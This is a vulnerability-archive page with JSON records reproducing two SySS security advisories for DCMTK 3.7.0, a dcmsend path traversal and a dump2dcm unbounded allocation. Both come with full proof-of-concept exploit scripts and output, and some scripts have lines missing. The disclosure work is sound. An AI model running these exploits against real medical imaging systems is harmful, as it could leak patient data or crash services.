the configured DICOM peer. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-047 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Assigner
    References
    Impacted products
    Vendor Product Version
    Dicom DICOM Toolkit Affected: unknown
    		Create a notification for this product.
    Credits
    Matthias Deeg via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-047\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Path traversal (CWE-22)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s dcmsend is vulnerable to path traversal when it is instructed to\nread input files from a specially crafted DICOMDIR. This can lead to\nunauthorized disclosure of readable DICOM objects, including protected\nhealth information.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe dcmsend command line option --read-from-dicomdir (+rd) enables\nDcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file\nis not sent itself. Instead, dcmsend reads the DICOMDIR and adds the\nreferenced SOP instances to its transfer list.\n\nThe affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()\nin dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset\nfor ReferencedFileID (0004,1500) elements, converts DICOM backslashes to\nhost path separators with dicomToHostFilename(), and then combines the\nresult with the DICOMDIR directory:\n\n  const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),\n                               pathName.usesWideChars());\n  OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,\n                                    OFTrue /* allowEmptyDirName */);\n\ndicomToHostFilename() only replaces \"\\\\\" with the host path separator.\nIt does not reject \"..\" components, absolute paths, or other traversal\npatterns. OFStandard::combineDirAndFilename() also does not canonicalize\nthe result or verify that the final path remains below the DICOMDIR\ndirectory. Therefore, a ReferencedFileID such as \"..\\\\OUTDIR\\\\SECRET\"\nbecomes a host path like \"MEDIA/../OUTDIR/SECRET\".\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a DICOMDIR with an IMAGE directory record whose\n     ReferencedFileID contains traversal components, for example\n     \"..\\\\OUTDIR\\\\SECRET\".\n\n  2. The same record contains ReferencedSOPClassUIDInFile,\n     ReferencedSOPInstanceUIDInFile, and\n     ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM\n     object.\n\n  3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the\n     crafted DICOMDIR.\n\n  4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR\n     location without rejecting the traversal.\n\n  5. dcmsend opens and transmits the traversed DICOM file to the\n     configured remote storage SCP.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nTo demonstrate this security isssue, a PoC exploit was developed that\nsends a DICOM file outside the media directory to an attacker when an\nattacker-controlled DICOMDIR is used by dcmsend.\n\nThe crafted DICOMDIR contains a path traversal attack vector in\nReferencedFileID.\n\ncat \u003e poc.sh \u003c\u003c \u0027EOPOC\u0027\n#!/bin/bash\n# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend\n\nset -u\n\nWORKDIR=\"$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)\"\nMEDIA_DIR=\"${WORKDIR}/MEDIA\"\nOUTSIDE_DIR=\"${WORKDIR}/OUTDIR\"\nRECV_DIR=\"${WORKDIR}/recv\"\nTARGET_DUMP=\"${WORKDIR}/target.dump\"\nDICOMDIR=\"${MEDIA_DIR}/DICOMDIR\"\nTARGET_FILE=\"${OUTSIDE_DIR}/SECRET\"\nDCMSEND_LOG=\"${WORKDIR}/dcmsend.log\"\nSTORESCP_LOG=\"${WORKDIR}/storescp.log\"\n\ncleanup()\n{\n    if [ -n \"${STORESCP_PID:-}\" ]; then\n        kill \"${STORESCP_PID}\" 2\u003e/dev/null || true\n        wait \"${STORESCP_PID}\" 2\u003e/dev/null || true\n    fi\n    rm -rf \"${WORKDIR}\"\n}\ntrap cleanup EXIT\n\nrequire_tool()\n{\n    command -v \"$1\" \u003e/dev/null 2\u003e\u00261 || {\n        echo \"[!] Missing required tool: $1\"\n        exit 1\n    }\n}\n\nrequire_tool dump2dcm\nrequire_tool dcmdump\nrequire_tool dcmsend\nrequire_tool storescp\nrequire_tool python3\n\nmkdir -p \"${MEDIA_DIR}\" \"${OUTSIDE_DIR}\" \"${RECV_DIR}\"\n\ncat \u003e \"${TARGET_DUMP}\" \u003c\u003c\u0027EOF\u0027\n# Dicom-File-Format\n\n# Dicom-Meta-Information-Header\n# Used TransferSyntax: Little Endian Explicit\n(0002,0001) OB 00\\01\n(0002,0002) UI =SecondaryCaptureImageStorage\n(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0002,0010) UI =LittleEndianExplicit\n(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]\n(0002,0013) SH [H7POC]\n\n# Dicom-Data-Set\n# Used TransferSyntax: Little Endian Explicit\n(0008,0005) CS [ISO_IR 100]\n(0008,0016) UI =SecondaryCaptureImageStorage\n(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]\n(0008,0020) DA [20260630]\n(0008,0030) TM [120000]\n(0008,0060) CS [OT]\n(0008,0064) CS [WSD]\n(0010,0010) PN [POC^TRAVERSED]\n(0010,0020) LO [H7DCMSEND]\n(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]\n(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]\n(0020,0010) SH [1]\n(0020,0011) IS [1]\n(0020,0013) IS [1]\n(0028,0002) US 1\n(0028,0004) CS [MONOCHROME2]\n(0028,0010) US 1\n(0028,0011) US 1\n(0028,0100) US 8\n(0028,0101) US 8\n(0028,0102) US 7\n(0028,0103) US 0\n(7fe0,0010) OB 00\\00\nEOF\n\ndump2dcm \"${TARGET_DUMP}\" \"${TARGET_FILE}\" || exit 1\n\npython3 - \"${DICOMDIR}\" \u003c\u003c\u0027PY\u0027\nimport struct\nimport sys\n\nout = sys.argv[1]\n\ndef even(value, pad=b\" \"):\n    return value if len(value) % 2 == 0 else value + pad\n\ndef elem(tag, vr, value):\n    group, element = tag\n    if isinstance(value, str):\n        value = value.encode(\"ascii\")\n    if vr == \"UI\":\n        value = even(value, b\"\\0\")\n\n        value = even(value, b\" \")\n    data = struct.pack(\"\u003cHH\", group, element) + vr.encode(\"ascii\")\n    if vr in (\"OB\", \"OD\", \"OF\", \"OL\", \"OW\", \"SQ\", \"UC\", \"UR\", \"UT\", \"UN\"):\n        data += b\"\\0\\0\" + struct.pack(\"\u003cI\", len(value))\n    else:\n        data += struct.pack(\"\u003cH\", len(value))\n    return data + value\n\ndef item(content):\n    return struct.pack(\"\u003cHHI\", 0xFFFE, 0xE000, len(content)) + content\n\nsop_class = \"1.2.840.10008.5.1.4.1.1.7\"\nsop_inst = \"1.2.826.0.1.3680043.10.543.777.1\"\ntransfer_syntax = \"1.2.840.10008.1.2.1\"\n\nrecord = b\"\".join([\n    elem((0x0004, 0x1400), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1410), \"US\", struct.pack(\"\u003cH\", 0xFFFF)),\n    elem((0x0004, 0x1420), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1430), \"CS\", \"IMAGE\"),\n    elem((0x0004, 0x1500), \"CS\", r\"..\\OUTDIR\\SECRET\"),\n    elem((0x0004, 0x1510), \"UI\", sop_class),\n    elem((0x0004, 0x1511), \"UI\", sop_inst),\n    elem((0x0004, 0x1512), \"UI\", transfer_syntax),\n])\n\ndataset = b\"\".join([\n    elem((0x0004, 0x1130), \"CS\", \"H7POC\"),\n    elem((0x0004, 0x1200), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1202), \"UL\", struct.pack(\"\u003cI\", 0)),\n    elem((0x0004, 0x1212), \"US\", struct.pack(\"\u003cH\", 0)),\n    elem((0x0004, 0x1220), \"SQ\", item(record)),\n])\n\nmeta_body = b\"\".join([\n    elem((0x0002, 0x0001), \"OB\", b\"\\0\\1\"),\n    elem((0x0002, 0x0002), \"UI\", \"1.2.840.10008.1.3.10\"),\n    elem((0x0002, 0x0003), \"UI\", \"1.2.826.0.1.3680043.10.543.777.999\"),\n    elem((0x0002, 0x0010), \"UI\", transfer_syntax),\n    elem((0x0002, 0x0012), \"UI\", \"1.2.826.0.1.3680043.10.543.370\"),\n    elem((0x0002, 0x0013), \"SH\", \"H7POC\"),\n])\n\n\nwith open(out, \"wb\") as handle:\n    handle.write(b\"\\0\" * 128 + b\"DICM\" + meta + dataset)\nPY\n\nPORT=\"$(python3 - \u003c\u003c\u0027PY\u0027\nimport socket\ns = socket.socket()\ns.bind((\"127.0.0.1\", 0))\nprint(s.getsockname()[1])\ns.close()\nPY\n)\"\n\necho \"[*] DICOMDIR is inside: ${MEDIA_DIR}\"\necho \"[*] Referenced target is outside: ${TARGET_FILE}\"\necho \"[*] DICOMDIR ReferencedFileID:\"\ndcmdump +P 0004,1500 \"${DICOMDIR}\"\n\n\nSTORESCP_PID=$!\nsleep 1\n\nset +e\ndcmsend -v +rd 127.0.0.1 \"${PORT}\" \"${DICOMDIR}\" \u003e\"${DCMSEND_LOG}\" 2\u003e\u00261\nRC=$?\nset -e\nsleep 1\nkill \"${STORESCP_PID}\" 2\u003e/dev/null || true\nwait \"${STORESCP_PID}\" 2\u003e/dev/null || true\nSTORESCP_PID=\"\"\n\ncat \"${DCMSEND_LOG}\"\n\nRECEIVED_FILE=\"$(find \"${RECV_DIR}\" -type f | head -n 1)\"\nif [ \"${RC}\" -eq 0 ] \u0026\u0026\n   [ -n \"${RECEIVED_FILE}\" ] \u0026\u0026\n\n    dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 \"${RECEIVED_FILE}\"\n    exit 0\nfi\n\necho \"[!] FAILED: traversal transmission was not verified\"\necho \"[!] Workdir retained for inspection: ${WORKDIR}\"\ntrap - EXIT\nexit 1\nEOPOC\n\nA successful attack is indicated by output similar to the following:\n\n./poc.sh\n[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA\n[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET\n[*] DICOMDIR ReferencedFileID:\n\nI: checking input files ...\nI: starting association #1\nI: initializing network ...\nI: negotiating network association ...\nI: Requesting Association\nI: Association Accepted (Max Send PDV: 16372)\nI: sending SOP instances ...\nI: Sending C-STORE Request (MsgID 1, SC)\nI: Received C-STORE Response (Success)\nI: Releasing Association\nI:\nI: Status Summary\nI: --------------\nI: Number of associations   : 1\nI: Number of pres. contexts : 1\nI: Number of SOP instances  : 1\nI: - sent to the peer       : 1\nI:   * with status SUCCESS  : 1\n\n(0010,0010) PN [POC^TRAVERSED]                          #  14, 1 PatientName\n(0010,0020) LO [H7DCMSEND]                              #  10, 1 PatientID\n\n\nThis demonstrates that dcmsend reads a file outside the DICOMDIR\ndirectory and transmits it to the configured DICOM peer.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n225ff1e0e42efcac64a5275e8f06ade14ca509b5 (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-047\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/25"
        },
        {
          "url": "https://creativecommons.org/licenses/by/4.0/deed.en"
        },
        {
          "url": "https://dcmtk.org/en/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.syss.de/en/responsible-disclosure-policy"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/25"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[SYSS-2026-047]: DICOM Toolkit (DCMTK) - Path traversal (CWE-22)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0024",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/25",
            "automated": true,
            "contentSha256": "8df56d4e1b9f1913f32da9589f0d40c0947e245e305e38afff962dfca7df1892",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/25",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-31T07:59:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0024"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

    GCVE-1988-2026-0027

    Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-09 10:11
    VLAI
    Title
    [SYSS-2026-050]: DICOM Toolkit (DCMTK) - Integer Overflow or Wraparound (CWE-190)
    Summary
    Advisory ID: SYSS-2026-050 Product: DCMTK (DICOM ToolKit) Manufacturer: OFFIS e.V. / DCMTK Community Affected Version(s): 3.7.0 Tested Version(s): 3.7.0 Vulnerability Type: Integer Overflow or Wraparound (CWE-190) Risk Level: Medium Solution Status: Fixed Manufacturer Notification: 2026-07-02 Solution Date: 2026-07-03 Public Disclosure: 2026-07-31 CVE Reference: Not yet assigned Author of Advisory: Matthias Deeg, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: DCMTK (DICOM ToolKit) is an open-source collection of libraries and applications implementing large parts of the DICOM (Digital Imaging and Communications in Medicine) standard (see [1]). DCMTK's textual value import is vulnerable to unbounded Value Multiplicity (VM) allocation. An attacker who can supply a crafted textual DICOM dump or XML/JSON import payload can cause memory exhaustion or heap buffer overflow via integer overflow in the typed array allocation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154) counts backslash ('\') delimiters in a textual element value string and returns the count as the VM: unsigned long DcmElement::determineVM(const char *str, const size_t len) { unsigned long vm = 0; if ((str != NULL) && (len > 0)) { vm = 1; const char *p = str; for (size_t i = 0; i < len; i++) { if (*p++ == '\\') vm++; } } return vm; } This value is used throughout the VR implementation to allocate typed arrays: - dcvrsl.cc:335: new Sint32[vm] - dcvrul.cc: new Uint32[vm] - dcvrus.cc: new Uint16[vm] - dcvrfd.cc: new Float64[vm] - ... and many more A crafted ASCII dump containing a numeric VR element with many backslash-separated tokens yields a large VM. Allocating Float64[vm] requires 8 * vm bytes before the converted binary value is inserted into the DICOM object. With sufficiently large inputs on 32-bit builds, vm * sizeof(T) can also overflow size_t, producing a small allocation that is subsequently written beyond bounds. The attack chain is as follows: 1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR element (SL, UL, FD, etc.) whose value consists of a large number of backslash-delimited tokens. 2. determineVM() counts the tokens and returns an unbounded VM. 3. The VR putString() allocates new T[vm] without bounds checking. 4. Memory exhaustion (DoS) or heap buffer overflow is triggered via an integer overflow in the allocation size. This path is reached by APIs and tools that parse textual values into typed numeric VRs, e.g. dump2dcm calling DcmElement::putString(). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following exploit script creates a specially crafted ASCII DICOM dump file with a numeric VR element (SL) containing many backslash- separated tokens. This file is processed with dump2dcm under a memory limit to trigger the memory exhaustion (std::bad_alloc). cat > poc.sh << 'EOPOC' #!/bin/bash # # POC Exploit for unbounded VM allocation in dump2dcm # Proof of concept exploit for SYSS-2026-050 # # Creates a crafted ASCII DICOM dump with a numeric VR element (SL) # containing NUM_VALUES backslash-separated tokens, then feeds it # to dump2dcm under a memory limit to trigger std::bad_alloc. # set -euo pipefail DUMP2DCM="dump2dcm" WORKDIR="/tmp/dump2dcm_poc_$$" MEMORY_LIMIT=24576 # 24 MB virtual memory limit SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" echo "=== PoC: Unbounded VM Allocation in dump2dcm ===" echo "" echo "Vulnerability: DcmElement::determineVM() counts backslash delimiters" echo " without bounds, causing new Sint32[vm] to allocate" echo " vm * 4 bytes without any cap." echo "" echo "Configuration:" echo " Values (VM): $NUM_VALUES" echo " dump2dcm: $DUMP2DCM" echo "" mkdir -p "$WORKDIR" DUMP_FILE="$WORKDIR/exploit.dump" OUTPUT_FILE="$WORKDIR/exploit.dcm" # Generate the payload using Python (avoids shell escaping issues) python3 "$SCRIPT_DIR/generate_payload.py" "$NUM_VALUES" > "$DUMP_FILE" DUMP_SIZE=$(du -sh "$DUMP_FILE" | cut -f1) echo "[+] Crafted dump file: $DUMP_FILE ($DUMP_SIZE)" echo "" echo "[*] Running dump2dcm under memory limit (ulimit -v $MEMORY_LIMIT)..." echo "" # Run dump2dcm with memory limit # +l sets max line length to 10M to accommodate the crafted SL element ulimit -v "$MEMORY_LIMIT" echo "---" echo "Result:" echo " Exit code: $EXIT_CODE" echo " Output:" echo "$OUTPUT" | tail -20 echo "" # Clean up rm -rf "$WORKDIR" if [ $EXIT_CODE -ne 0 ]; then echo "[+] SUCCESS: dump2dcm crashed with exit code $EXIT_CODE" echo " The unbounded VM allocation exhausted memory as expected." else fi echo "" echo "=== PoC complete ===" EOPOC The following output shows a successful exploit crashing dump2dcm: ./poc.sh === PoC: Unbounded VM Allocation in dump2dcm === Vulnerability: DcmElement::determineVM() counts backslash delimiters without bounds, causing new Sint32[vm] to allocate vm * 4 bytes without any cap. Configuration: Values (VM): 4000000 Allocation: Sint32[4000000] = 15 MB Memory limit: 24576 KB (24 MB) dump2dcm: dump2dcm [+] Crafted dump file: /tmp/dump2dcm_poc_2579/exploit.dump (7.7M) [*] Running dump2dcm under memory limit (ulimit -v 24576)... - --- Result: Exit code: 134 Output: terminate called after throwing an instance of 'std::bad_alloc' what(): std::bad_alloc [+] SUCCESS: dump2dcm crashed with exit code 134 The unbounded VM allocation exhausted memory as expected. === PoC complete === ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 9cb99f1b0279e3e40243a8b9bd974edf78597a14 (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-050 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    CWE
    Assigner
    References
    Impacted products
    Vendor Product Version
    Dicom DICOM Toolkit Affected: unknown
    		Create a notification for this product.
    Credits
    Matthias Deeg via Fulldisclosure
    To clipboard 

    {
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DICOM Toolkit",
          "vendor": "Dicom",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Matthias Deeg via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Advisory ID:               SYSS-2026-050\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                Medium\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s textual value import is vulnerable to unbounded Value Multiplicity\n(VM) allocation. An attacker who can supply a crafted textual DICOM dump\nor XML/JSON import payload can cause memory exhaustion or heap buffer\noverflow via integer overflow in the typed array allocation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DcmElement::determineVM() in libsrc/dcelem.cc (line 2154)\ncounts backslash (\u0027\\\u0027) delimiters in a textual element value string and\nreturns the count as the VM:\n\n  unsigned long DcmElement::determineVM(const char *str, const size_t len)\n  {\n      unsigned long vm = 0;\n      if ((str != NULL) \u0026\u0026 (len \u003e 0)) {\n          vm = 1;\n          const char *p = str;\n          for (size_t i = 0; i \u003c len; i++) {\n              if (*p++ == \u0027\\\\\u0027)\n                  vm++;\n          }\n      }\n      return vm;\n  }\n\nThis value is used throughout the VR implementation to allocate typed\narrays:\n\n  - dcvrsl.cc:335: new Sint32[vm]\n  - dcvrul.cc:       new Uint32[vm]\n  - dcvrus.cc:       new Uint16[vm]\n  - dcvrfd.cc:       new Float64[vm]\n  - ... and many more\n\nA crafted ASCII dump containing a numeric VR element with many\nbackslash-separated tokens yields a large VM. Allocating Float64[vm]\nrequires 8 * vm bytes before the converted binary value is inserted into\nthe DICOM object. With sufficiently large inputs on 32-bit builds,\nvm * sizeof(T) can also overflow size_t, producing a small allocation\nthat is subsequently written beyond bounds.\n\nThe attack chain is as follows:\n\n  1. The attacker crafts a textual DICOM dump/XML/JSON with a numeric VR\n     element (SL, UL, FD, etc.) whose value consists of a large number\n     of backslash-delimited tokens.\n\n  2. determineVM() counts the tokens and returns an unbounded VM.\n\n  3. The VR putString() allocates new T[vm] without bounds checking.\n\n  4. Memory exhaustion (DoS) or heap buffer overflow is triggered via\n     an integer overflow in the allocation size.\n\nThis path is reached by APIs and tools that parse textual values into\ntyped numeric VRs, e.g. dump2dcm calling DcmElement::putString().\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe following exploit script creates a specially crafted ASCII DICOM\ndump file with a numeric VR element (SL) containing many backslash-\nseparated tokens. This file is processed with dump2dcm under a memory\nlimit to trigger the memory exhaustion 